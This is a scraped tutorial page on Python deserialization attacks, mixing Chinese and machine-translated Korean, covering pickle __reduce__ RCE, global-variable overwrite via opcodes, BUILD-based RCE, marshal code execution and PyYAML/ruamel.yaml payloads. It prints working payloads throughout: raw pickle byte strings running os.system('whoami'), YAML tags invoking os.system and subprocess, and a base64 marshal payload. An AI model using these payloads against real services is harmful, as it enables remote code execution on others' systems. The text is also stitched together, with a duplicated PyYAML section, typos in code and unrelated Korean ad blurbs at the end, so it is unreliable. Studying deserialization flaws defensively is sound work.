想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:
# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
利用这两个标签,就可以构造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
PyYAML
>= 5.1
在版本 PyYAML
>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()
方法时,需要加上 loader
参数,直接使用时会爆出安全警告
loader的四种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()
方法绕过检测:
!!python/object/apply:subprocess.getoutput
- whoami

在最新版本上,命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:
- load(data)
- load(data, Loader=Loader)
- load(data, Loader=UnsafeLoader)
- load(data, Loader=FullLoader)
- load_all(data)
- load_all(data, Loader=Loader)
- load_all(data, Loader=UnSafeLoader)
- load_all(data, Loader=FullLoader)
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行
推荐学习:python学习教程
__reduce()_
의 명령어 코드는 ``R입니다. **직렬화되는 문자열에
R 명령어가 존재하는 한**,
reduce 메소드는
reduce` 메소드가 일반 프로그램에 지정되었는지 여부에 관계없이 실행됩니다. 🎜🎜pickle은자동으로 실행됩니다. deserialization 아직 도입되지 않은 모듈을 가져옵니다. 따라서 Python 표준 라이브러리의 모든 코드 실행 및 명령 실행 기능을 사용할 수 있지만 페이로드
를 생성하는 Python 버전이 대상과 일치해야 합니다. 🎜🎜🎜예: 🎜class a_class(): def __reduce__(self): return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'whoami' 24: \x85 TUPLE1 25: R REDUCE 26: . STOP highest protocol among opcodes = 2
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_
利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag(): def __init__(self, a): self.a = a your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a: print('flag:{}'.format(secret_flag.a))else: print('No!')
在不知道 secret.a 的情况下要如何获得 flag 呢?
先尝试获得 flag() 的序列化字符串:
class flag(): def __init__(self, a): self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: X BINUNICODE 'a' 32: q BINPUT 3 34: X BINUNICODE 'A' 40: q BINPUT 4 42: s SETITEM 43: b BUILD 44: . STOP highest protocol among opcodes = 2
可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A'
改为 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改为 csecret\na\n
)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag
除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:
test1 = 'test1'test2 = 'test2'class A: def __reduce(self): retutn exec, "test1='asd'\ntest2='qwe'"
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用'whoami'
来再次BUILD这个对象,则会执行setstate('whoami')
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE
例:
代码中存在一个任意类:
class payload: def __init__(self): pass
根据这个类构造 PVM 指令:
0: \x80 PROTO 3 2: c GLOBAL '__main__ payload' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: } EMPTY_DICT # 使用BUILD,先放入一个字典 22: ( MARK # 放值前先放一个标志 23: V UNICODE '__setstate__' # 放键值对 37: c GLOBAL 'nt system' 48: u SETITEMS (MARK at 22) 49: b BUILD # 第一次BUILD 50: V UNICODE 'whoami' # 加参数 58: b BUILD # 第二次BUILD 59: . STOP
将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化后成功执行命令
利用Marshal
模块造成任意函数执行
pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_
调用,因为__reduce__
是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres
模块来动态的创建匿名函数
import marshalimport typesdef code(): import os print('hello') os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行
在 pickle
上使用:
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE=' tRtRc__builtin__ globals (tRS'' tR(tR."""pickle.loads(s) # 字符串转换为 bytes
漏洞出现位置
- 解析认证 token、session 时
- 将对象 pickle 后存储在磁盘文件
- 将对象 pickle 后在网络中传输
- 参数传递给程序
PyYAML
yaml
是一种标记类语言,类似与 xml
和 json
,各个支持yaml格式的语言都会有自己的实现来进行 yaml
格式的解析(读取和保存),PyYAML
就是 yaml
的 python 实现
在使用 PyYAML
库时,若使用了 yaml.load()
而不是 yaml.safe_load()
函数解析 yaml
文件,则会导致反序列化漏洞的产生
原理
PyYAML
有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
例如:
# Test.pyimport yamlimport osclass test: def __init__(self): os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
该代码执行后,会生成 sample.yml
,并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {}
再使用 yaml.load()
解析该 yaml
文件:
import yaml yaml.load(file('sample.yml', 'w'))
命令成功执行。但是命令的执行依赖于 Test.py
的存在,因为 yaml.load()
时会根据yml文件中的指引去读取 Test.py
中的 test
这个对象(类)。如果删除 Test.py
,也将运行失败
Payload
PyYAML
想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:
# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
利用这两个标签,就可以构造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
PyYAML
>= 5.1
在版本 PyYAML
>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()
方法时,需要加上 loader
参数,直接使用时会爆出安全警告
loader的四种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()
方法绕过检测:
!!python/object/apply:subprocess.getoutput - whoami
在最新版本上,命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:
- load(data)
- load(data, Loader=Loader)
- load(data, Loader=UnsafeLoader)
- load(data, Loader=FullLoader)
- load_all(data)
- load_all(data, Loader=Loader)
- load_all(data, Loader=UnSafeLoader)
- load_all(data, Loader=FullLoader)
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行
推荐学习:python学习教程
위 내용은 Python 역직렬화를 이해하도록 안내합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

제한된 시간에 Python 학습 효율을 극대화하려면 Python의 DateTime, Time 및 Schedule 모듈을 사용할 수 있습니다. 1. DateTime 모듈은 학습 시간을 기록하고 계획하는 데 사용됩니다. 2. 시간 모듈은 학습과 휴식 시간을 설정하는 데 도움이됩니다. 3. 일정 모듈은 주간 학습 작업을 자동으로 배열합니다.

Python은 게임 및 GUI 개발에서 탁월합니다. 1) 게임 개발은 Pygame을 사용하여 드로잉, 오디오 및 기타 기능을 제공하며 2D 게임을 만드는 데 적합합니다. 2) GUI 개발은 Tkinter 또는 PYQT를 선택할 수 있습니다. Tkinter는 간단하고 사용하기 쉽고 PYQT는 풍부한 기능을 가지고 있으며 전문 개발에 적합합니다.

Python은 데이터 과학, 웹 개발 및 자동화 작업에 적합한 반면 C는 시스템 프로그래밍, 게임 개발 및 임베디드 시스템에 적합합니다. Python은 단순성과 강력한 생태계로 유명하며 C는 고성능 및 기본 제어 기능으로 유명합니다.

2 시간 이내에 Python의 기본 프로그래밍 개념과 기술을 배울 수 있습니다. 1. 변수 및 데이터 유형을 배우기, 2. 마스터 제어 흐름 (조건부 명세서 및 루프), 3. 기능의 정의 및 사용을 이해하십시오. 4. 간단한 예제 및 코드 스 니펫을 통해 Python 프로그래밍을 신속하게 시작하십시오.

Python은 웹 개발, 데이터 과학, 기계 학습, 자동화 및 스크립팅 분야에서 널리 사용됩니다. 1) 웹 개발에서 Django 및 Flask 프레임 워크는 개발 프로세스를 단순화합니다. 2) 데이터 과학 및 기계 학습 분야에서 Numpy, Pandas, Scikit-Learn 및 Tensorflow 라이브러리는 강력한 지원을 제공합니다. 3) 자동화 및 스크립팅 측면에서 Python은 자동화 된 테스트 및 시스템 관리와 같은 작업에 적합합니다.

2 시간 이내에 파이썬의 기본 사항을 배울 수 있습니다. 1. 변수 및 데이터 유형을 배우십시오. 이를 통해 간단한 파이썬 프로그램 작성을 시작하는 데 도움이됩니다.

10 시간 이내에 컴퓨터 초보자 프로그래밍 기본 사항을 가르치는 방법은 무엇입니까? 컴퓨터 초보자에게 프로그래밍 지식을 가르치는 데 10 시간 밖에 걸리지 않는다면 무엇을 가르치기로 선택 하시겠습니까?

Fiddlerevery Where를 사용할 때 Man-in-the-Middle Reading에 Fiddlereverywhere를 사용할 때 감지되는 방법 ...


핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

SecList
SecLists는 최고의 보안 테스터의 동반자입니다. 보안 평가 시 자주 사용되는 다양한 유형의 목록을 한 곳에 모아 놓은 것입니다. SecLists는 보안 테스터에게 필요할 수 있는 모든 목록을 편리하게 제공하여 보안 테스트를 더욱 효율적이고 생산적으로 만드는 데 도움이 됩니다. 목록 유형에는 사용자 이름, 비밀번호, URL, 퍼징 페이로드, 민감한 데이터 패턴, 웹 셸 등이 포함됩니다. 테스터는 이 저장소를 새로운 테스트 시스템으로 간단히 가져올 수 있으며 필요한 모든 유형의 목록에 액세스할 수 있습니다.

Dreamweaver Mac版
시각적 웹 개발 도구

PhpStorm 맥 버전
최신(2018.2.1) 전문 PHP 통합 개발 도구
